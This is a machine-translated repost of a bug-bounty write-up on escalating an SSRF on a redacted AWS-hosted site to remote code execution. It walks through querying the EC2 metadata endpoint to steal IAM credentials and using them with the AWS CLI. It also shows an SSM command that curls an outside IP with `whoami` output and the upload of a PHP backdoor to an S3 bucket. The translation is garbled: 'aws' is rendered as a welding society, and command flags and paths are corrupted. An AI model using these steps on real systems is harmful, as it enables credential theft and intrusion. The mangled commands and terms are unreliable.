安全圈 | 专注于最新网络信息安全讯息新闻

首页

將ssrf陞級到rce–generaleg 0x01

作者 schoultz 时间 2020-03-01
all

你好,五年級學生,

我是Youssef A.Mohamed aka GeneralEG

網路安全工程師@Squnity和SRT成員@Synack

今天我要像往常一樣和你們分享一個新的有趣的弱點。

探索範圍:

為子域枚舉用戶端的域時。我找到了子域[檔案]

我來到這個子域[docs.redact.com]

正在查找帶外資源負載:

[docs]子域顯示了一些檔案和統計資訊

當我點擊一張統計資料的照片時,我看到了一個奇怪但並非神奇的連結:

我首先想到的是將[url]的值改為generaleg0x01.com

然後我注意到[mimeType]參數編輯了連結並將值更改為如下:

https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&廣告客戶id=11

直到現在它只是[帶外資源加載]

驗證SSRF:

在檢查BurpSuite通知的響應頭[X-Amz-Cf-Id]中的請求/響應時

所以,我發現他們在AWS環境中。

我們需要確保SSRF在這裡運行良好。我們知道[169.254.169.254]是EC2實例的本地IP地址。

讓我們嘗試通過導航到//latest/meta data/]來訪問中繼資料資料夾。

SSRF確認。

在EC2環境中衝浪:

讓我們通過導航到[/latest/meta data/iam/security credentials/]來檢查當前角色。

是aws-elasticbeanstalk-ec2-role

什麼是AWS彈性豆莖?

獲取所需數據:

1)轉到[/latest/meta data/iam/security credentials/aws-elasticbeanstalk-ec2-role/]

獲取[AccessKeyId,SecretAccessKey,權杖]

2)轉到[/latest/dynamic/instance identity/document/]

獲取[instanceId,accountId,region]

配寘AWS命令列介面:

~#apt安裝awscli

~#匯出AWS_ACCESS_KEY_ID=AccessKeyId ~#匯出AWS_SECRET_ACCESS_KEY=SecretAccessKey ~#匯出AWS_DEFAULT_REGION=REGION ~ţ匯出AWS_SESSION_TOKEN=TOKEN

~#aws sts獲取呼叫者身份

SSRF開發得很好,現在讓我們進一步探索將其陞級到更大“RCE”的可能性。

將SSRF陞級為RCE:

我去嘗試了一些潜在的開發場景。

經過幾項研究,嘗試使用AWS Systems Manager[ssm]命令。

角色無權執行此命令。我希望用aws ssm send命令陞級它。

~#aws ssm send command–實例id“instanceId”–檔案名“aws RunShellScript”–注釋“whoami”–參數commands='curl 128.199.xx.xx:8080/'whoami`'–輸出文字–region=region

調用SendCommand操作時發生錯誤(AccessDeniedException):User:arn:aws:sts::765xxxxxxxx:assumed role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxxxx未被授權執行:ssm:SendCommand on resource:arn:aws:ec2:us-east-1:765xxxxxxxx: instance/i-00xxxxxxxxxxxx

SSH埠已關閉。我希望用著名的場景來陞級它:

創建RSA身份驗證金鑰對(公開金鑰和私密金鑰),以便能够從帳戶登入到遠程網站,而不必鍵入密碼

正在嘗試讀取[S3 Bucket]內容:

嘗試使用AWS CLI運行多個命令以從AWS實例檢索資訊。但是,由於安全性原則的存在,對大多數命令的訪問被拒絕。

美國焊接學會s3 ls

調用ListBuckets操作時發生錯誤(Access Denied):Access Denied

經過幾項研究發現,託管策略“AWSElasticBeanstalkWebTier”只允許訪問名稱以“elasticbeanstalk”開頭的S3存儲桶。

為了訪問S3 bucket,我們將使用前面獲取的數據,格式如下:

彈性豆莖區域帳戶id

現在,bucket的名稱是“elasticbeanstalk-us-east-1-76xxxxxxx00”。

讓我們以遞迴管道列出“elasticbeanstalk-us-east-1-76xxxxxxx00”的bucket資源,以使用AWS CLI執行此長時間運行的任務:

~#aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxx00/–遞迴

現在,讓我們試著上傳一個後門!

~#cat命令.php

~#aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxx00/

上傳:./cmd.php至s3://docs.redact.com/cmd.php

在這裡我們有一個成功的RCE!

簡而言之:

您可以通過多種方式將伺服器端請求偽造陞級為遠程程式碼執行,但這取決於目標環境。

快樂駭客!